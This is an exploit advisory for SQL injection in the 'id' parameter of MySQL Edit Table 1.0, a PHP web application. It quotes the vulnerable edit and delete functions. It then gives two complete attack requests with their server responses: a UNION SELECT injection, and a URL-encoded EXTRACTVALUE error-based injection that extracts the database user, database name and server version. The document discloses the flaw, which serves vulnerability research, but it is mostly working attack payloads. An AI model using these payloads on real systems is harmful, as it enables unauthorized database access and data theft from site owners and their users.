MySQL Edit Table 1.0 SQL Injection

`# Exploit Title: MySQL Edit Table 1.0 - 'id' SQL Injection  
# Dork: N/A  
# Date: 2018-10-18  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://www.bookman.nl  
# Software Link: https://sourceforge.net/projects/sql-edit-table/files/latest/download  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/example.php?mte_a=edit&id=[SQL]  
# function edit_rec() {  
# if (isset ($_GET['id'])) $in_id = $_GET['id'];  
# if ($_GET['mte_a'] == 'edit') $edit=1;  
# else $edit = 0;  
# $count_required = 0;  
# $rows = '';  
# $result = mysqli_query($this->mysqli,"SHOW COLUMNS FROM `$this->table`");  
  
GET /[PATH]/example.php?mte_a=edit&id=-18++UNIon(SEleCT+0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e)--+- HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=0v2bqm10m5rlph8563tiflttl7  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
If-Modified-Since: Thu, 18 Oct 2018 14:31:03 GMT  
HTTP/1.1 200 OK  
Date: Thu, 18 Oct 2018 14:34:58 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Mon, 26 Jul 1997 05:00:00 GMT  
Cache-Control: private  
Pragma: no-cache  
Last-Modified: Thu, 18 Oct 2018 14:34:58 GMT  
Content-Length: 3642  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)  
# http://localhost/[PATH]/example.php?mte_a=del&id=[SQL]  
#   
# function del_rec() {  
# $in_id = $_GET['id'];  
# if (mysqli_query($this->mysqli,"DELETE FROM $this->table WHERE `$this->primary_key` = '$in_id'")) {  
# $this->content_deleted = "  
  
GET /[PATH]/example.php?mte_a=del&id=%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%31%31%31%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%31%31%3d%31%31%31%2c%31%29%29%29%29%29%2d%2d%20%45%66%65 HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=0v2bqm10m5rlph8563tiflttl7  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
If-Modified-Since: Thu, 18 Oct 2018 14:38:14 GMT  
HTTP/1.1 200 OK  
Date: Thu, 18 Oct 2018 14:38:18 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Mon, 26 Jul 1997 05:00:00 GMT  
Cache-Control: private  
Pragma: no-cache  
Last-Modified: Thu, 18 Oct 2018 14:38:18 GMT  
Content-Length: 1046  
Keep-Alive: timeout=5, max=99  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
`